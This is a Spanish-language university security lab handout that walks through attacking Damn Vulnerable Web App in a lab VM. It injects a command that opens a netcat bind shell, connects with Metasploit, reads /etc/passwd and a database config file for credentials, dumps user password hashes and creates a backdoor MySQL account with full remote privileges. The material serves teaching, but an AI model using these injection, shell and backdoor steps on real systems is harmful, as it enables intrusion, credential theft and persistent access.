Está en la página 1de 9

Seguridad en el software

LABORATORIO Nº 03
Ataque usando Metasploit

Objetivos de aprendizaje
 Realizar un ataque de inyección usando DAMN VULNERABLE WEB APP y
METASPLOIT.
 Describir el procedimiento.

ESCENARIO

1. DVWA

SELinux desactivado
Servicio Firewalld desactivado
Servicio Apache activo
Servicio MariaDB activo
Ingresar a DVWA
Definir Nivel de Seguridad del Sitio Web: Low

2. Ejecutar Netcat

1) Clic en Command Execution


2) Ejecutar:

192.168.1.9; mkfifo /tmp/pipe; sh /tmp/pipe | nc -l 4444 >


/tmp/pipe

 Utilice (mkfifo /tmp/pipe;) para crear una llamada pipe que proporciona una forma de
IPC (Inter-Process Communication) que permita que varios lectores y escritores se
comuniquen entre sí.
 Utilice (sh /tmp/pipe) para adjuntar una carcasa interactiva a la tubería nombrada
(/tmp/pipe).
 Utilice (sh /tmp/pipe | nc -l 4444) para adjuntar el shell interactivo a la sesión de
netcat que escucha en el puerto 4444.
 Utilice (nc -l 4444 > /tmp/pipe) para recibir la salida de la sesión de netcat (es decir,
los datos enviados por Kali Linux) y enviarlo a la entrada de la llamada pipe, donde se
convierte en entrada para el shell.

1
Seguridad en el software

3) Verificar que el puerto 4444 este activo

3. Usar Metasploit para conectarse a la sesión Netcat de DVWA

1) Iniciar Kali Linux


2) Iniciar Metasploit

msfconsole

3) Usar Metasploit para conectarse a netcat

1. use multi/handler
2. set PAYLOAD linux/x86/shell/bind_tcp
3. show options
4. set RHOST 192.168.1.9

o 192.168.1.9 es la dirección IP del CentOS 7 ejecutando


DVWA.

5. exploit

2
Seguridad en el software

4) Iniciar sesión

sessions -i 1

5) Exploración de credenciales de usuario

1. whoami

o Muestra el nombre de usuario para el ID de usuario efectivo.


o Si el nombre de usuario fuera root, estaríamos en control
total; Sin embargo, el nombre de usuario es apache.

2. grep apache /etc/passwd

o Comprobando si el nombre de usuario está permitido para


iniciar sesión de forma remota.
o Cuando se configura un shell en /sbin/nologin, el usuario no
puede iniciar sesión de forma remota.

3. grep apache /etc/group

o Es importante descubrir otros grupos adicionales a los que


apache podría pertenecer.
o En este caso, el apache está bastante bien protegido.

3
Seguridad en el software

Estamos conectado como el usuario “apache”


Nota: el Shell de Apache está definido para nologin

Nota: apache no tiene otros grupos

6) Exploración de credenciales de procesos y directorio

1. ps -eaf | grep http

o Por lo general, los procesos del servidor web Apache se


ejecutarán con un demonio llamado httpd.

2. pwd

o Imprimir el directorio de trabajo actual.


o Esto en realidad nos dice mucho. Nos indica la ruta exacta
desde donde se ejecutó el comando NetCat.

3. ls -ld /var/www/html

o En CentOS 7, la ruta "DocumentRoot" suele ser


/var/www/html.
o Si este directorio fuera propiedad de apache en lugar de
root, podríamos hacer algunos graffiti web y muchas otras
cosas.

4. ls -ld /var/www/html/dvwa

o El directorio principal de la DVWA es /var/www/html/dvwa.


o Desafortunadamente, el nombre de usuario de Apache solo
tiene permisos de lectura y ejecución.

5. ls -l /var/www/html/dvwa

o Ahora vamos a explorar los contenidos del directorio DVWA.


o Aviso, hay un directorio de configuración.
o Los directorios de configuración son importantes porque
contienen información de credenciales de la base de datos.

4
Seguridad en el software

Los procesos httpd son


propiedad de apache, es
la razón por la que
estamos conectados como
apache

Las aplicaciones PHP son


notorias por tener
directorio/archivos de
configuración que
permite a la aplicación
web conversar con la
base de datos

7) Exploración de credenciales de Base de datos

1. ls -l /var/www/html/dvwa/config

o Nos muestran que hay un archivo de configuración con un


problema de permiso.
o El problema config.inc.php es que sus permisos están
establecidos en 777, lo que significa que cualquiera puede
leer este archivo.

2. cat /var/www/html/dvwa/config/config.inc.php

o Bingo!!!
o Para el nombre de la base de datos dvwa, el usuario es
root y la contraseña es dvwaPASSWORD.

5
Seguridad en el software

Ahora conocemos el root y la contraseña de


la base de datos es “dvwaPASSWORD”

4. Exploración de en MariaDB

1) Mostrar información de la base de datos DVWA

1. echo "show databases;" | mysql -uroot -pdvwaPASSWORD

o Muestra todas las bases de datos en mariadb.

2. echo "use dvwa; show tables;" | mysql -uroot -pdvwaPASSWORD

o Muestra todas las tablas en la base de datos dvwa.

3. echo "use dvwa; desc users;" | mysql -uroot -pdvwaPASSWORD

o Describe los campos de la tabla dvwa.users.

4. echo "select * from dvwa.users;" | mysql -uroot -


pdvwaPASSWORD

o Imprima el contenido de la tabla dvwa.users.


o Observe que se muestra el campo de contraseña, donde puede
usar herramientas como John the Ripper para descifrarlo.

6
Seguridad en el software

2) Crear un nuevo usuario en la tabla dvwa.users

1. echo "insert into dvwa.users


(user_id,first_name,last_name,user,password,avatar,last_login
,failed_login) values
('6','Luis','Garcia','lgarciay',MD5('abc123'),'NA','NA','NA')
;" | mysql -uroot -pdvwaPASSWORD

o Creará un nuevo usuario en la tabla dvwa.users.

2. echo "select * from dvwa.users;" | mysql -uroot -


pdvwaPASSWORD

o Observa que hay un nuevo registro #6.


o Si desea crear un usuario adicional, el siguiente user_id
se incrementará a #7 y sucesivamente.

3) Mostrar información de la tabla Mysql

1. echo "show databases;" | mysql -uroot -pdvwaPASSWORD

o Muestra todas las bases de datos del equipo.

2. echo "use mysql; show tables;" | mysql -uroot -pdvwaPASSWORD

7
Seguridad en el software

Base de datos Master que contiene autenticación y ACLs de usuarios

Esta es la tabla en mysql que contiene las credenciales de los usuarios

4) Crear un usuario Mysql

1. echo "use mysql; GRANT ALL PRIVILEGES ON *.* TO


'db_hacker'@'%' IDENTIFIED BY 'abc123' WITH GRANT OPTION;" |
mysql -uroot -pdvwaPASSWORD

o Creará un nuevo usuario llamado db_hacker con la contraseña


de abc123 que puede iniciar sesión desde cualquier lugar
con conectividad.

2. echo "select * from mysql.user;" | mysql -uroot -


pdvwaPASSWORD

o Observe la última entrada recién creada.

8
Seguridad en el software

El registro db_hacker fue creado. Nota, se ha definido al Host el valor “%”, podrá iniciar sesión en la base de datos desde
cualquier lugar con conectividad

5. Prueba de laboratorio

1) Abrir otro terminal en Kali Linux


2) Iniciar sesión en la base de datos del DVWA

También podría gustarte